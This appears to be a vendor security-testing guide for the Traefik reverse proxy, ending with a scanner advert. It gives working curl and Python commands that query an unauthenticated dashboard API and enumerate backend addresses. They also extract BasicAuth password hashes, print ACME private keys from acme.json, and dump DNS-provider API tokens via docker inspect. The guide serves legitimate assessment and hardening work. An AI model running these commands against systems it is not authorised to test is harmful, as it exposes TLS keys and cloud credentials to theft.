Traefik Proxy Security Testing: Dashboard Exposure, Provider Credentials, Middleware Bypass, and Dynamic Configuration

Traefik is the dominant cloud-native reverse proxy for Docker and Kubernetes environments, used extensively in self-hosted deployments for automatic TLS and dynamic routing. Its security profile has three distinct layers: the dashboard and API, the provider integration, and the middleware configuration. Traefik's built-in dashboard on port 8080 has no authentication by default, providing a complete inventory of all configured routes, services, and middleware; the /api/rawdata endpoint returns the complete routing configuration including backend service addresses; Traefik stores ACME TLS certificates and private keys in acme.json; Docker provider routing is configured via container labels, meaning containers with Docker socket access can inject malicious routing rules; and BasicAuth middleware credentials are stored as bcrypt hashes in the dynamic configuration. This guide covers systematic Traefik security assessment.

Table of Contents

  1. Dashboard and API Exposure
  2. Routing Configuration and Backend Enumeration
  3. ACME Certificate and Credential Exposure
  4. Traefik Security Hardening

Dashboard and API Exposure

# Traefik dashboard and API — unauthenticated by default on port 8080
TRAEFIK_URL="http://traefik.example.com:8080"

# Check if dashboard API is accessible without authentication
curl -s "${TRAEFIK_URL}/api/overview" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print('DASHBOARD API ACCESSIBLE WITHOUT AUTHENTICATION')
    http = d.get('http',{})
    print(f'HTTP routers: {http.get(\"routers\",{}).get(\"total\",0)}')
    print(f'HTTP services: {http.get(\"services\",{}).get(\"total\",0)}')
    print(f'HTTP middlewares: {http.get(\"middlewares\",{}).get(\"total\",0)}')
    features = d.get('features',{})
    print(f'ACME: {features.get(\"acme\")}')
    print(f'Traefik version: {d.get(\"traefik\",{}).get(\"version\")}')
except: print('Dashboard not accessible or not JSON')
" 2>/dev/null

# List all HTTP routers — reveals all domain-to-service mappings
curl -s "${TRAEFIK_URL}/api/http/routers" 2>/dev/null | python3 -c "
import json,sys
routers = json.load(sys.stdin)
print(f'HTTP routers: {len(routers)}')
for r in routers:
    print(f'  {r.get(\"name\")}: rule={r.get(\"rule\")} service={r.get(\"service\")} tls={r.get(\"tls\") is not None}')
    middlewares = r.get('middlewares',[])
    if middlewares:
        print(f'    Middlewares: {middlewares}')
" 2>/dev/null

Routing Configuration and Backend Enumeration

# Traefik API — full routing and service configuration
TRAEFIK_URL="http://traefik.example.com:8080"

# Get all HTTP services — reveals backend IP addresses and ports
curl -s "${TRAEFIK_URL}/api/http/services" 2>/dev/null | python3 -c "
import json,sys
services = json.load(sys.stdin)
print(f'HTTP services: {len(services)}')
for s in services:
    lb = s.get('loadBalancer',{})
    servers = lb.get('servers',[])
    print(f'  {s.get(\"name\")}:')
    for srv in servers:
        print(f'    Backend: {srv.get(\"url\")} (internal address)')
" 2>/dev/null

# Get raw data — complete configuration dump including all secrets in middleware
curl -s "${TRAEFIK_URL}/api/rawdata" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
# Check for BasicAuth middleware entries — contain password hashes
middlewares = d.get('middlewares',{})
for mw_name, mw_data in middlewares.items():
    if 'basicAuth' in mw_data.get('type','').lower() or 'basicAuth' in str(mw_data):
        print(f'BasicAuth middleware: {mw_name}')
        ba = mw_data.get('basicAuth',{})
        for user in ba.get('users',[]):
            print(f'  Credential: {user}')  # format: username:bcrypt_hash
" 2>/dev/null

# Get all middlewares and their configuration
curl -s "${TRAEFIK_URL}/api/http/middlewares" 2>/dev/null | python3 -c "
import json,sys
mws = json.load(sys.stdin)
print(f'HTTP middlewares: {len(mws)}')
for m in mws:
    print(f'  {m.get(\"name\")} type={m.get(\"type\")} provider={m.get(\"provider\")}')
" 2>/dev/null

ACME Certificate and Credential Exposure

# Traefik ACME certificate storage — private keys in acme.json
# acme.json contains all Let's Encrypt certificates and private keys

# Check acme.json filesystem access (from inside Traefik container or host)
cat /path/to/acme.json 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for resolver_name, resolver_data in d.items():
    certs = resolver_data.get('Certificates',[])
    print(f'Resolver {resolver_name}: {len(certs)} certificates')
    for cert in certs:
        domain = cert.get('domain',{})
        main = domain.get('main','')
        sans = domain.get('sans',[])
        key = cert.get('key','')  # Base64 encoded private key
        print(f'  {main} (SANs: {sans})')
        if key:
            print(f'  Private key: {key[:40]}... (base64)')
" 2>/dev/null

# Traefik provider credentials — DNS challenge API keys for wildcard certs
# Environment variables passed to Traefik for DNS provider authentication
# These are visible in docker inspect or process listing
docker inspect traefik 2>/dev/null | python3 -c "
import json,sys
containers = json.load(sys.stdin)
if not containers:
    sys.exit()
env = containers[0].get('Config',{}).get('Env',[])
dns_providers = ['CF_API_TOKEN','CF_API_KEY','AWS_ACCESS_KEY','DO_AUTH_TOKEN',
                 'CLOUDFLARE_API_TOKEN','ROUTE53_AWS_ACCESS_KEY','DNSIMPLE_OAUTH_TOKEN']
for e in env:
    key = e.split('=')[0]
    if any(p in key.upper() for p in dns_providers):
        print(f'DNS provider credential: {e}')
" 2>/dev/null

Traefik Security Hardening

Traefik Security Hardening Checklist:
Security TestMethodRisk
Unauthenticated dashboard API accessGET http://traefik-host:8080/api/overview — returns complete routing overview without authentication; reveals all routes, services, middlewares, and Traefik version in a single requestHigh
Backend service IP enumerationGET /api/http/services — returns all service definitions including internal IP addresses and ports of backend services; reveals the complete internal network topology of all proxied applicationsHigh
BasicAuth credential hash exposureGET /api/rawdata — complete configuration dump including BasicAuth middleware user entries in username:bcrypt_hash format; hashes subject to offline cracking with hashcat or johnHigh
ACME private key extraction from acme.jsonRead acme.json from Traefik data volume — contains base64-encoded private keys for all Let's Encrypt certificates; compromises TLS for all managed domainsCritical
DNS provider credential exposure in environmentdocker inspect traefik — DNS API credentials (Cloudflare, Route53, DigitalOcean) passed as environment variables for ACME DNS challenge are visible in plaintextHigh

Automate Traefik Security Testing

Ironimo tests Traefik deployments for unauthenticated dashboard and API access, backend service IP enumeration via the services API, BasicAuth credential hash extraction from rawdata, ACME certificate private key access in acme.json, DNS provider credential exposure in container environment variables, Docker label injection risk assessment, and middleware configuration audit for authentication bypass.

Start free scan